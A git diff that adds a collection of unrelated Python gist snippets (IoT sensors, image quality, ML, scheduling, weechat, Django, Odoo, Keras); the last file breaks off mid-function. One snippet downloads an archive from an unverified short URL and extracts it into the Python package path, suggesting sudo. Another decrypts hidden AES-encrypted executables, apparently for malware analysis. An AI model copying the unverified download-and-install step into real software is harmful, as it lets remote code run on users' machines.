diff --git a/hard-gists/cf4b324f8955bc56ce0ff9399d9fdea6/snippet.py b/hard-gists/cf4b324f8955bc56ce0ff9399d9fdea6/snippet.py
new file mode 100644
index 00000000..d16d1573
--- /dev/null
+++ b/hard-gists/cf4b324f8955bc56ce0ff9399d9fdea6/snippet.py
@@ -0,0 +1,48 @@
+import ds18x20
+import gc
+from machine import Timer, Pin
+import network
+import onewire
+from time import sleep_ms
+from umqtt.simple import MQTTClient
+import urandom
+
+
+PIN_TEMP = 5
+
+
+def send_temp(t):
+    c = MQTTClient('clientname', '<mqtt_server_ip>')
+    c.connect()
+    c.publish('/topic/temp1', str(t))
+    sleep_ms(500)
+    print('Sent!')
+    c.disconnect()
+
+
+def read_temp():
+    ds = ds18x20.DS18X20(onewire.OneWire(Pin(5)))
+    roms = ds.scan()
+    ds.convert_temp()
+    sleep_ms(100)
+    # assume there is only 1 probe
+    return ds.read_temp(roms[0])
+
+def run():
+    # tim = Timer(-1)
+    # tim.init(period=2000, mode=Timer.PERIODIC, callback=send_temp)
+    wlan = network.WLAN(network.STA_IF)
+
+    while True:
+        try:
+            if wlan.isconnected():
+                t = read_temp()
+                send_temp(t)
+                sleep_ms(10000)
+            else:
+                sleep_ms(1000)
+        except:
+            pass
+
+
+run()
\ No newline at end of file
diff --git a/hard-gists/cfaad5763fb7471aed85/._snippet.py b/hard-gists/cfaad5763fb7471aed85/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cfaad5763fb7471aed85/._snippet.py differ
diff --git a/hard-gists/cfaad5763fb7471aed85/snippet.py b/hard-gists/cfaad5763fb7471aed85/snippet.py
new file mode 100644
index 00000000..9959a48d
--- /dev/null
+++ b/hard-gists/cfaad5763fb7471aed85/snippet.py
@@ -0,0 +1,28 @@
+# To run, provide the path to a signed profile at the command line:
+# ./unsignprofile.py SignedProfile.mobileconfig
+
+from M2Crypto import SMIME, X509, m2, BIO
+from plistlib import *
+import sys
+import logging
+
+# Can be any file probably since we're not verifying.
+certstore_path = "/etc/ssl/certs/ca-certificates.crt"
+file_descriptor = open(sys.argv[1], 'rb')
+input_bio = BIO.File(file_descriptor)
+signer = SMIME.SMIME()
+cert_store = X509.X509_Store()
+cert_store.load_info(certstore_path)
+signer.set_x509_store(cert_store)
+try: 
+    p7 = SMIME.PKCS7(m2.pkcs7_read_bio_der(input_bio._ptr()), 1)
+except SMIME.SMIME_Error, e:
+    logging.error('load pkcs7 error: ' + str(e))
+sk3 = p7.get0_signers(X509.X509_Stack())
+signer.set_x509_stack(sk3)
+data_bio = None
+
+content = signer.verify(p7, data_bio, flags=SMIME.PKCS7_NOVERIFY)
+
+# Printing the contents of the profile/plist, modify to save to file with write()
+print readPlistFromString(content)
\ No newline at end of file
diff --git a/hard-gists/cfc9f059459cfefd1f61134b48291436/._snippet.py b/hard-gists/cfc9f059459cfefd1f61134b48291436/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cfc9f059459cfefd1f61134b48291436/._snippet.py differ
diff --git a/hard-gists/cfc9f059459cfefd1f61134b48291436/snippet.py b/hard-gists/cfc9f059459cfefd1f61134b48291436/snippet.py
new file mode 100644
index 00000000..60a4e637
--- /dev/null
+++ b/hard-gists/cfc9f059459cfefd1f61134b48291436/snippet.py
@@ -0,0 +1,67 @@
+import cStringIO
+import PIL.Image
+from ssim import compute_ssim
+ 
+ 
+def get_ssim_at_quality(photo, quality):
+    """Return the ssim for this JPEG image saved at the specified quality"""
+    ssim_photo = cStringIO.StringIO()
+    # optimize is omitted here as it doesn't affect
+    # quality but requires additional memory and cpu
+    photo.save(ssim_photo, format="JPEG", quality=quality, progressive=True)
+    ssim_photo.seek(0)
+    ssim_score = compute_ssim(photo, PIL.Image.open(ssim_photo))
+    return ssim_score
+ 
+ 
+def _ssim_iteration_count(lo, hi):
+    """Return the depth of the binary search tree for this range"""
+    if lo >= hi:
+        return 0
+    else:
+        return int(log(hi - lo, 2)) + 1
+ 
+ 
+def jpeg_dynamic_quality(original_photo):
+    """Return an integer representing the quality that this JPEG image should be
+    saved at to attain the quality threshold specified for this photo class.
+ 
+    Args:
+        original_photo - a prepared PIL JPEG image (only JPEG is supported)
+    """
+    ssim_goal = 0.95
+    hi = 85
+    lo = 80
+ 
+    # working on a smaller size image doesn't give worse results but is faster
+    # changing this value requires updating the calculated thresholds
+    photo = original_photo.resize((400, 400))
+ 
+    if not _should_use_dynamic_quality():
+        default_ssim = get_ssim_at_quality(photo, hi)
+        return hi, default_ssim
+ 
+    # 95 is the highest useful value for JPEG. Higher values cause different behavior
+    # Used to establish the image's intrinsic ssim without encoder artifacts
+    normalized_ssim = get_ssim_at_quality(photo, 95)
+    selected_quality = selected_ssim = None
+ 
+    # loop bisection. ssim function increases monotonically so this will converge
+    for i in xrange(_ssim_iteration_count(lo, hi)):
+        curr_quality = (lo + hi) // 2
+        curr_ssim = get_ssim_at_quality(photo, curr_quality)
+        ssim_ratio = curr_ssim / normalized_ssim
+ 
+        if ssim_ratio >= ssim_goal:
+            # continue to check whether a lower quality level also exceeds the goal
+            selected_quality = curr_quality
+            selected_ssim = curr_ssim
+            hi = curr_quality
+        else:
+            lo = curr_quality
+ 
+    if selected_quality:
+        return selected_quality, selected_ssim
+    else:
+        default_ssim = get_ssim_at_quality(photo, hi)
+        return hi, default_ssim
\ No newline at end of file
diff --git a/hard-gists/d039e69e97afbf1b863b/._snippet.py b/hard-gists/d039e69e97afbf1b863b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d039e69e97afbf1b863b/._snippet.py differ
diff --git a/hard-gists/d039e69e97afbf1b863b/snippet.py b/hard-gists/d039e69e97afbf1b863b/snippet.py
new file mode 100644
index 00000000..57d6799e
--- /dev/null
+++ b/hard-gists/d039e69e97afbf1b863b/snippet.py
@@ -0,0 +1,29 @@
+from sklearn.feature_extraction.text import TfidfVectorizer
+from sklearn.feature_extraction.text import HashingVectorizer
+from sklearn.linear_model import SGDClassifier
+from sklearn.svm import SVC
+from sklearn.naive_bayes import MultinomialNB
+from sklearn.pipeline import Pipeline
+from sklearn.cross_validation import cross_val_score
+from jpjplearn.datasets import load_clf_corpus
+from jpjplearn.analyzer import mecab_analyzer
+
+# ../all/0/*.txt
+#       /1/*.txt
+X, y = load_clf_corpus("../all")
+
+nb = Pipeline([('vec', TfidfVectorizer(analyzer=mecab_analyzer)), ('clf', MultinomialNB(alpha=0.05))])
+#nb = Pipeline([('vec', HashingVectorizer(analyzer=mecab_analyzer, non_negative=True)), ('clf', MultinomialNB(alpha=0.05))])
+svc = Pipeline([('vec', TfidfVectorizer(analyzer=mecab_analyzer)), ('clf', SVC(C=1.0, kernel='linear'))])
+#svc = Pipeline([('vec', HashingVectorizer(analyzer=mecab_analyzer, non_negative=True)), ('clf', SVC(C=1.0, kernel='linear'))])
+sgd = Pipeline([('vec', HashingVectorizer(analyzer=mecab_analyzer)), ('clf', SGDClassifier(n_iter=100, penalty='l2'))])
+
+cross_val_score(nb, X, y, scoring='accuracy').mean()
+cross_val_score(nb, X, y, scoring='precision').mean()
+cross_val_score(nb, X, y, scoring='recall').mean()
+cross_val_score(nb, X, y, scoring='f1').mean()
+
+cross_val_score(svc, X, y, scoring='accuracy').mean()
+cross_val_score(svc, X, y, scoring='precision').mean()
+cross_val_score(svc, X, y, scoring='recall').mean()
+cross_val_score(svc, X, y, scoring='f1').mean()
diff --git a/hard-gists/d03a49767c7c307be5ed/._snippet.py b/hard-gists/d03a49767c7c307be5ed/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d03a49767c7c307be5ed/._snippet.py differ
diff --git a/hard-gists/d03a49767c7c307be5ed/snippet.py b/hard-gists/d03a49767c7c307be5ed/snippet.py
new file mode 100644
index 00000000..46629b63
--- /dev/null
+++ b/hard-gists/d03a49767c7c307be5ed/snippet.py
@@ -0,0 +1,32 @@
+import os
+import sys
+import io
+import tarfile
+import urllib.request
+
+
+ARCHIVE_URL = 'http://d.pr/f/YqS5+'
+
+
+def main():
+    print('Downloading ensurepip module archive...')
+    response = urllib.request.urlopen(ARCHIVE_URL)
+    data = response.read()
+    tar_f = tarfile.open(fileobj=io.BytesIO(data))
+
+    package_root = sys.path[1]
+
+    print('Extracting files to', package_root)
+    os.chdir(package_root)
+
+    try:
+        tar_f.extractall()
+    except:
+        print('Extraction failed! Please ensure you have appropriate '
+              'permissions and try again. May you should use "sudo"?')
+    else:
+        print('All done!\n')
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/d049a307a271052dc740/._snippet.py b/hard-gists/d049a307a271052dc740/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d049a307a271052dc740/._snippet.py differ
diff --git a/hard-gists/d049a307a271052dc740/snippet.py b/hard-gists/d049a307a271052dc740/snippet.py
new file mode 100644
index 00000000..46cdb8c9
--- /dev/null
+++ b/hard-gists/d049a307a271052dc740/snippet.py
@@ -0,0 +1,48 @@
+import sys
+import pefile
+from StringIO import StringIO
+from Crypto.Cipher import AES
+
+K =''.join((chr(x) for x in range(15,0x4f,2)))
+ENC_HEADER="\x23\x59\x90\x70\xe9\xc1\xec\x82\xb4\x87\xb3\x4e\x03\x10\x6c\x2e"
+decrypt = lambda d: AES.new(K,AES.MODE_ECB).decrypt(d)
+chunks = lambda l, n: [l[x: x+n] for x in xrange(0, len(l), n)]
+IDX = 0
+def decrypt_payload(d,off):
+    global IDX
+    out = StringIO()
+    if decrypt(d[off:off+16]).startswith('MZ'):
+        print '[%d][+] found encrypted MZ  @ %X'% (IDX,off)
+    try:
+        pe_hdr = decrypt(d[off:off+0x400])
+        pe = pefile.PE(data=pe_hdr)
+    except:
+        return None
+
+    print '[%d][+] OK its parsable, lets proceed' % IDX
+    for c in chunks(d[off:],16):
+        out.write(decrypt(c))
+    IDX +=1
+    return out
+
+
+path = sys.argv[1]
+#off  = int(sys.argv[2],16)
+#size = int(sys.argv[3],16)
+#cnt = 0 
+
+with open(path) as f:
+    d=f.read()
+    
+off =d.find(ENC_HEADER)    
+while off != -1:
+    r= decrypt_payload(d,off)
+    if not r:
+        print '[-] this is not a PE i was looking for...'
+        sys.exit(1)
+    d = r.getvalue()
+    off =d.find(ENC_HEADER)    
+
+with open(path+'.dec','wb') as f:
+    f.write(d)
+print '[*] decrypted payload saved as',path+'.dec'
diff --git a/hard-gists/d0bb1f94cda69a5e7c96d1742cc5adca/._snippet.py b/hard-gists/d0bb1f94cda69a5e7c96d1742cc5adca/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d0bb1f94cda69a5e7c96d1742cc5adca/._snippet.py differ
diff --git a/hard-gists/d0bb1f94cda69a5e7c96d1742cc5adca/snippet.py b/hard-gists/d0bb1f94cda69a5e7c96d1742cc5adca/snippet.py
new file mode 100644
index 00000000..13912f5b
--- /dev/null
+++ b/hard-gists/d0bb1f94cda69a5e7c96d1742cc5adca/snippet.py
@@ -0,0 +1,38 @@
+#!/usr/bin/env python3
+
+import scrapy
+
+class MySpider(scrapy.Spider):
+
+    name = 'myspider'
+
+    start_urls = ['http://www.usfigureskating.org/leaderboard/results/2018/25073/SEGM001.html']
+
+    def parse(self, response):
+        print('url:', response.url)
+
+        body = response.body.replace(b'<<+', b'&lt;&lt;+').replace(b'<+', b'&lt;+')
+
+        selector = scrapy.Selector(text=body.decode('utf-8'))
+
+        i = 1
+        for x  in selector.css('.elem::text').extract():
+            if 'Elements' in x:
+                print('---', i, '---')
+                i += 1
+            else:
+                print(x)
+
+# --- it runs without project and saves in `output.csv` ---
+
+from scrapy.crawler import CrawlerProcess
+
+c = CrawlerProcess({
+    'USER_AGENT': 'Mozilla/5.0',
+
+    # save in CSV or JSON
+    #'FEED_FORMAT': 'csv',     # 'json
+    #'FEED_URI': 'output.csv', # 'output.json
+})
+c.crawl(MySpider)
+c.start()
\ No newline at end of file
diff --git a/hard-gists/d100a028027c5a6b8340/._snippet.py b/hard-gists/d100a028027c5a6b8340/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d100a028027c5a6b8340/._snippet.py differ
diff --git a/hard-gists/d100a028027c5a6b8340/snippet.py b/hard-gists/d100a028027c5a6b8340/snippet.py
new file mode 100644
index 00000000..63c9ef89
--- /dev/null
+++ b/hard-gists/d100a028027c5a6b8340/snippet.py
@@ -0,0 +1,54 @@
+from dateutil import rrule 
+import datetime
+
+# Generate ruleset for holiday observances on the NYSE
+
+def NYSE_holidays(a=datetime.date.today(), b=datetime.date.today()+datetime.timedelta(days=365)):
+    rs = rrule.rruleset()
+
+    # Include all potential holiday observances
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth=12, bymonthday=31, byweekday=rrule.FR)) # New Years Day  
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth= 1, bymonthday= 1))                     # New Years Day  
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth= 1, bymonthday= 2, byweekday=rrule.MO)) # New Years Day    
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth= 1, byweekday= rrule.MO(3)))            # Martin Luther King Day   
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth= 2, byweekday= rrule.MO(3)))            # Washington's Birthday
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, byeaster= -2))                                  # Good Friday
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth= 5, byweekday= rrule.MO(-1)))           # Memorial Day
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth= 7, bymonthday= 3, byweekday=rrule.FR)) # Independence Day
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth= 7, bymonthday= 4))                     # Independence Day
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth= 7, bymonthday= 5, byweekday=rrule.MO)) # Independence Day
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth= 9, byweekday= rrule.MO(1)))            # Labor Day
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth=11, byweekday= rrule.TH(4)))            # Thanksgiving Day
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth=12, bymonthday=24, byweekday=rrule.FR)) # Christmas  
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth=12, bymonthday=25))                     # Christmas  
+    rs.rrule(rrule.rrule(rrule.YEARLY, dtstart=a, until=b, bymonth=12, bymonthday=26, byweekday=rrule.MO)) # Christmas 
+    
+    # Exclude potential holidays that fall on weekends
+    rs.exrule(rrule.rrule(rrule.WEEKLY, dtstart=a, until=b, byweekday=(rrule.SA,rrule.SU)))
+
+    return rs
+    
+# Generate ruleset for NYSE trading days
+
+def NYSE_tradingdays(a=datetime.date.today(), b=datetime.date.today()+datetime.timedelta(days=365)):
+    rs = rrule.rruleset()
+    rs.rrule(rrule.rrule(rrule.DAILY, dtstart=a, until=b))
+    
+    # Exclude weekends and holidays
+    rs.exrule(rrule.rrule(rrule.WEEKLY, dtstart=a, byweekday=(rrule.SA,rrule.SU)))
+    rs.exrule(NYSE_holidays(a,b))
+    
+    return rs
+
+# Examples
+
+# List all NYSE holiday observances for the coming year
+print "NYSE Holidays\n"
+for dy in NYSE_holidays():
+    print dy.strftime('%b %d %Y')
+
+# Count NYSE trading days in next 5 years
+print "\n\nTrading Days\n"
+for yr in range(2015,2020):
+    tdays = len(list(NYSE_tradingdays(datetime.datetime(yr,1,1),datetime.datetime(yr,12,31))))
+    print "{0}  {1}".format(yr,tdays)
\ No newline at end of file
diff --git a/hard-gists/d11c77c5565482e965d1919291044470/._snippet.py b/hard-gists/d11c77c5565482e965d1919291044470/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d11c77c5565482e965d1919291044470/._snippet.py differ
diff --git a/hard-gists/d11c77c5565482e965d1919291044470/snippet.py b/hard-gists/d11c77c5565482e965d1919291044470/snippet.py
new file mode 100644
index 00000000..f1301f95
--- /dev/null
+++ b/hard-gists/d11c77c5565482e965d1919291044470/snippet.py
@@ -0,0 +1,120 @@
+# Working example for my blog post at:
+# http://danijar.com/variable-sequence-lengths-in-tensorflow/
+import functools
+import sets
+import tensorflow as tf
+from tensorflow.models.rnn import rnn_cell
+from tensorflow.models.rnn import rnn
+
+
+def lazy_property(function):
+    attribute = '_' + function.__name__
+
+    @property
+    @functools.wraps(function)
+    def wrapper(self):
+        if not hasattr(self, attribute):
+            setattr(self, attribute, function(self))
+        return getattr(self, attribute)
+    return wrapper
+
+
+class VariableSequenceLabelling:
+
+    def __init__(self, data, target, num_hidden=200, num_layers=3):
+        self.data = data
+        self.target = target
+        self._num_hidden = num_hidden
+        self._num_layers = num_layers
+        self.prediction
+        self.error
+        self.optimize
+
+    @lazy_property
+    def length(self):
+        used = tf.sign(tf.reduce_max(tf.abs(self.data), reduction_indices=2))
+        length = tf.reduce_sum(used, reduction_indices=1)
+        length = tf.cast(length, tf.int32)
+        return length
+
+    @lazy_property
+    def prediction(self):
+        # Recurrent network.
+        output, _ = rnn.dynamic_rnn(
+            rnn_cell.GRUCell(self._num_hidden),
+            self.data,
+            dtype=tf.float32,
+            sequence_length=self.length,
+        )
+        # Softmax layer.
+        max_length = int(self.target.get_shape()[1])
+        num_classes = int(self.target.get_shape()[2])
+        weight, bias = self._weight_and_bias(self._num_hidden, num_classes)
+        # Flatten to apply same weights to all time steps.
+        output = tf.reshape(output, [-1, self._num_hidden])
+        prediction = tf.nn.softmax(tf.matmul(output, weight) + bias)
+        prediction = tf.reshape(prediction, [-1, max_length, num_classes])
+        return prediction
+
+    @lazy_property
+    def cost(self):
+        # Compute cross entropy for each frame.
+        cross_entropy = self.target * tf.log(self.prediction)
+        cross_entropy = -tf.reduce_sum(cross_entropy, reduction_indices=2)
+        mask = tf.sign(tf.reduce_max(tf.abs(self.target), reduction_indices=2))
+        cross_entropy *= mask
+        # Average over actual sequence lengths.
+        cross_entropy = tf.reduce_sum(cross_entropy, reduction_indices=1)
+        cross_entropy /= tf.cast(self.length, tf.float32)
+        return tf.reduce_mean(cross_entropy)
+
+    @lazy_property
+    def optimize(self):
+        learning_rate = 0.0003
+        optimizer = tf.train.AdamOptimizer(learning_rate)
+        return optimizer.minimize(self.cost)
+
+    @lazy_property
+    def error(self):
+        mistakes = tf.not_equal(
+            tf.argmax(self.target, 2), tf.argmax(self.prediction, 2))
+        mistakes = tf.cast(mistakes, tf.float32)
+        mask = tf.sign(tf.reduce_max(tf.abs(self.target), reduction_indices=2))
+        mistakes *= mask
+        # Average over actual sequence lengths.
+        mistakes = tf.reduce_sum(mistakes, reduction_indices=1)
+        mistakes /= tf.cast(self.length, tf.float32)
+        return tf.reduce_mean(mistakes)
+
+    @staticmethod
+    def _weight_and_bias(in_size, out_size):
+        weight = tf.truncated_normal([in_size, out_size], stddev=0.01)
+        bias = tf.constant(0.1, shape=[out_size])
+        return tf.Variable(weight), tf.Variable(bias)
+
+
+def get_dataset():
+    """Read dataset and flatten images."""
+    dataset = sets.Ocr()
+    dataset = sets.OneHot(dataset.target, depth=2)(dataset, columns=['target'])
+    dataset['data'] = dataset.data.reshape(
+        dataset.data.shape[:-2] + (-1,)).astype(float)
+    train, test = sets.Split(0.66)(dataset)
+    return train, test
+
+
+if __name__ == '__main__':
+    train, test = get_dataset()
+    _, length, image_size = train.data.shape
+    num_classes = train.target.shape[2]
+    data = tf.placeholder(tf.float32, [None, length, image_size])
+    target = tf.placeholder(tf.float32, [None, length, num_classes])
+    model = VariableSequenceLabelling(data, target)
+    sess = tf.Session()
+    sess.run(tf.initialize_all_variables())
+    for epoch in range(10):
+        for _ in range(100):
+            batch = train.sample(10)
+            sess.run(model.optimize, {data: batch.data, target: batch.target})
+        error = sess.run(model.error, {data: test.data, target: test.target})
+        print('Epoch {:2d} error {:3.1f}%'.format(epoch + 1, 100 * error))
diff --git a/hard-gists/d1351610477840bbbb72/._snippet.py b/hard-gists/d1351610477840bbbb72/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d1351610477840bbbb72/._snippet.py differ
diff --git a/hard-gists/d1351610477840bbbb72/snippet.py b/hard-gists/d1351610477840bbbb72/snippet.py
new file mode 100644
index 00000000..1e7573ed
--- /dev/null
+++ b/hard-gists/d1351610477840bbbb72/snippet.py
@@ -0,0 +1,125 @@
+# weechat script to display image in terminal
+# (tested in termite, which is based on vte-ng)
+# requirements:
+#   * weechat (of course)
+#   * w3m (for w3mimgdisplay)
+#   * imlib2-webp (optional, for webp support)
+#
+# save this script as ~/.weechat/python/test.py and load using
+#   /python load test.py
+# in weechat.
+# use at your own risk!
+
+import weechat
+import glob
+import subprocess
+import itertools
+import os
+import re
+import tempfile
+
+
+W3MIMGDISPLAY = "/usr/lib/w3m/w3mimgdisplay"
+IMGURL = re.compile(r'https?://.*\.(jpg|jpeg|png|webp)')
+images = {}
+count = itertools.count()
+
+
+class TempImage:
+    def __init__(self, url):
+        self.url = url
+        self.fname = ''
+        self.hook = None
+        self.downloaded = False
+        self.id = count.next()
+        images[self.id] = self
+
+    def start_download(self):
+        fd, self.fname = tempfile.mkstemp(dir=TEMPDIR)
+        os.close(fd)
+        self.hook = weechat.hook_process_hashtable(
+            "url:" + self.url,
+            {'file_out': self.fname},
+            30 * 1000, "download_finish_cb", str(self.id))
+
+    def download_finish_cb(self):
+        self.downloaded = True
+
+    @staticmethod
+    def display_image(path):
+        if not os.path.exists(path):
+            return
+        p = subprocess.Popen(W3MIMGDISPLAY,
+                             stdin=subprocess.PIPE, stdout=subprocess.PIPE)
+        output, _ = p.communicate("5;%s" % path)
+        width, height = map(int, output.split())
+        p = subprocess.Popen(W3MIMGDISPLAY,
+                             stdin=subprocess.PIPE, stdout=subprocess.PIPE)
+        output, _ = p.communicate("0;1;0;0;%d;%d;;;;;%s\n4;\n3;" %
+                                  (width, height, path))
+
+    def display(self):
+        self.display_image(self.fname)
+
+
+def download_finish_cb(data, command, rc, out, err):
+    if int(rc) == 0:
+        images[int(data)].download_finish_cb()
+    elif int(rc) > 0:
+        weechat.prnt("", "Failed downloading image %s (rc=%s)" %
+                     (images[int(data)].url, rc))
+    return weechat.WEECHAT_RC_OK
+
+
+def msg_cb(data, modifier, modifier_data, string):
+    parsed = weechat.info_get_hashtable("irc_message_parse",
+                                        {'message': string})
+    message = parsed['text']
+    result = IMGURL.search(message)
+    if not result:
+        return string
+    url = result.group()
+    image = TempImage(url)
+    image.start_download()
+    return string + " [ID=%d]" % image.id
+
+
+def showimage_cb(data, source_buffer, args):
+    args = args.split()
+    if len(args) < 1:
+        weechat.prnt(source_buffer, "Please specify image ID")
+        return weechat.WEECHAT_RC_OK
+
+    try:
+        image = images[int(args[0])]
+        if image.downloaded:
+            image.display()
+        else:
+            weechat.prnt(source_buffer, "Image %s is still being downloaded" %
+                         args[0])
+    except (ValueError, KeyError):
+        weechat.prnt(source_buffer, "No such image")
+
+    return weechat.WEECHAT_RC_OK
+
+
+def unload(*args):
+    map(os.unlink, glob.glob(os.path.join(TEMPDIR, '*')))
+    os.rmdir(TEMPDIR)
+    return weechat.WEECHAT_RC_OK
+
+
+if __name__ == '__main__':
+    if not os.path.exists(W3MIMGDISPLAY):
+        weechat.prnt("", "w3m image display utility not found")
+    else:
+        TEMPDIR = tempfile.mkdtemp(prefix="weechatpreview")
+        weechat.register("weechatpreview", "hexchain", "1.0", "GPL3",
+                         "Preview image links",
+                         "unload", "")
+
+        weechat.hook_modifier("irc_in2_privmsg", "msg_cb", "")
+        weechat.hook_modifier("irc_out1_privmsg", "msg_cb", "")
+        weechat.hook_command("showimage",
+                             "Display specified image", "", "", "",
+                             "showimage_cb", "")
diff --git a/hard-gists/d1426ffad93b786e035e/._snippet.py b/hard-gists/d1426ffad93b786e035e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d1426ffad93b786e035e/._snippet.py differ
diff --git a/hard-gists/d1426ffad93b786e035e/snippet.py b/hard-gists/d1426ffad93b786e035e/snippet.py
new file mode 100644
index 00000000..88ea8a24
--- /dev/null
+++ b/hard-gists/d1426ffad93b786e035e/snippet.py
@@ -0,0 +1,41 @@
+#!/usr/bin/env python
+"""
+Compile Django Templates from the command line
+
+Thomas Parslow 2014
+tom@almostobsolete.net
+tomparslow.co.uk almostobsolete.net
+
+Run passing in the the template file to read and the context data as
+JSON. Will output the compiled HTML on stdout.
+
+python dango-template.py mytemplate.html '{"context_var": "value"}'
+"""
+from django.template import Template, Context
+from django.template.loader import get_template
+from django.conf import settings
+import sys
+import os
+import codecs
+import json
+import argparse
+
+parser = argparse.ArgumentParser(description='Compile a Django template')
+parser.add_argument('--path', type=str, nargs='*',
+                   help='Path to look for templates for {%% include %%} and {%% extends %%}')
+parser.add_argument('template', type=str,
+                   help='File of template to process (eg mytemplate.html)')
+parser.add_argument('context', type=str, nargs="?",
+                   help="""Content data in JSON format (eg '{"var": "value"}')""")
+
+args = parser.parse_args()
+
+settings.configure(
+# Default template dir is current working directory if not specified via --path
+    TEMPLATE_DIRS=args.path or [os.getcwd()]
+)
+
+
+template = get_template(args.template)
+c = Context(json.loads(args.context) if args.context else {})
+print template.render(c)
diff --git a/hard-gists/d14e424540faedb3ea88/._snippet.py b/hard-gists/d14e424540faedb3ea88/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d14e424540faedb3ea88/._snippet.py differ
diff --git a/hard-gists/d14e424540faedb3ea88/snippet.py b/hard-gists/d14e424540faedb3ea88/snippet.py
new file mode 100644
index 00000000..7bee30a6
--- /dev/null
+++ b/hard-gists/d14e424540faedb3ea88/snippet.py
@@ -0,0 +1,31 @@
+"""
+Setup:
+    Assuming Odoo 8.0 sources at ~/odoo:
+    $ cp odoo-sh.py ~/odoo
+    $ cd ~/odoo
+    $ python -i odoo-sh.py
+
+Usage example:
+    >>> env = connect('my-db-name')
+    >>> Users = env['res.users']
+    >>> Users.search()
+    >>> Users.browse(1).name
+    u'Administrator'
+"""
+
+from __future__ import print_function
+from openerp.modules.registry import RegistryManager
+from openerp.api import Environment
+
+
+def connect(dbname='trunk', uid=1, context=None):
+    r = RegistryManager.get(dbname)
+    cr = r.cursor()
+    Environment.reset()
+    env = Environment(cr, uid, context or {})
+    print('Connected to %s with user %s %s'
+          % (dbname, env.uid, env.user.name))
+    return env
+
+if __name__ == '__main__':
+    print(__doc__)
\ No newline at end of file
diff --git a/hard-gists/d1899f011ae41b26fb6e/._snippet.py b/hard-gists/d1899f011ae41b26fb6e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d1899f011ae41b26fb6e/._snippet.py differ
diff --git a/hard-gists/d1899f011ae41b26fb6e/snippet.py b/hard-gists/d1899f011ae41b26fb6e/snippet.py
new file mode 100644
index 00000000..792f31c4
--- /dev/null
+++ b/hard-gists/d1899f011ae41b26fb6e/snippet.py
@@ -0,0 +1,268 @@
+'''
+hacked out deepdish.io style keras NN saving functionality
+
+[credit] deepdish
+'''
+from __future__ import division, print_function, absolute_import
+
+import numpy as np
+import tables
+import warnings
+import sys
+import six
+
+from keras.models import model_from_json
+
+# Types that should be saved as pytables attribute
+ATTR_TYPES = (int, float, bool, six.string_types,
+              np.int8, np.int16, np.int32, np.int64,
+              np.uint8, np.uint16, np.uint32, np.uint64,
+              np.float16, np.float32, np.float64,
+              np.bool_, np.complex64, np.complex128)
+
+try:
+    COMPRESSION = tables.Filters(complevel=9, complib='blosc', shuffle=True)
+except Exception:
+    warnings.warn("Missing BLOSC: no compression will be used.")
+    COMPRESSION = tables.Filters()
+
+
+def _save_level(handler, group, level, name=None, compress=True):
+    if isinstance(level, dict):
+        # First create a new group
+        new_group = handler.create_group(group, name,
+                                         "dict:{}".format(len(level)))
+        for k, v in level.items():
+            if isinstance(k, six.string_types):
+                _save_level(handler, new_group, v, name=k)
+            else:
+                # Key is not string, so it gets a bit more complicated.
+                # If the key is not a string, we will store it as a tuple instead,
+                # inside a new group
+                hsh = hash(k)
+                if hsh < 0:
+                    hname = 'm{}'.format(-hsh)
+                else:
+                    hname = '{}'.format(hsh)
+                new_group2 = handler.create_group(new_group, '__pair_{}'.format(hname),
+                                                 "keyvalue_pair")
+                new_name = '__pair_{}'.format(hname)
+                _save_level(handler, new_group2, k, name='key')
+                _save_level(handler, new_group2, v, name='value')
+
+                #new_name = '__keyvalue_pair_{}'.format(hash(name))
+                #setattr(group._v_attrs, new_name, (name, level))
+    elif isinstance(level, list):
+        # Lists can contain other dictionaries and numpy arrays, so we don't
+        # want to serialize them. Instead, we will store each entry as i0, i1,
+        # etc.
+        new_group = handler.create_group(group, name,
+                                         "list:{}".format(len(level)))
+
+        for i, entry in enumerate(level):
+            level_name = 'i{}'.format(i)
+            _save_level(handler, new_group, entry, name=level_name)
+
+    elif isinstance(level, tuple):
+        # Lists can contain other dictionaries and numpy arrays, so we don't
+        # want to serialize them. Instead, we will store each entry as i0, i1,
+        # etc.
+        new_group = handler.create_group(group, name,
+                                         "tuple:{}".format(len(level)))
+
+        for i, entry in enumerate(level):
+            level_name = 'i{}'.format(i)
+            _save_level(handler, new_group, entry, name=level_name)
+
+    elif isinstance(level, np.ndarray):
+        atom = tables.Atom.from_dtype(level.dtype)
+        if compress:
+            node = handler.create_carray(group, name, atom=atom,
+                                         shape=level.shape,
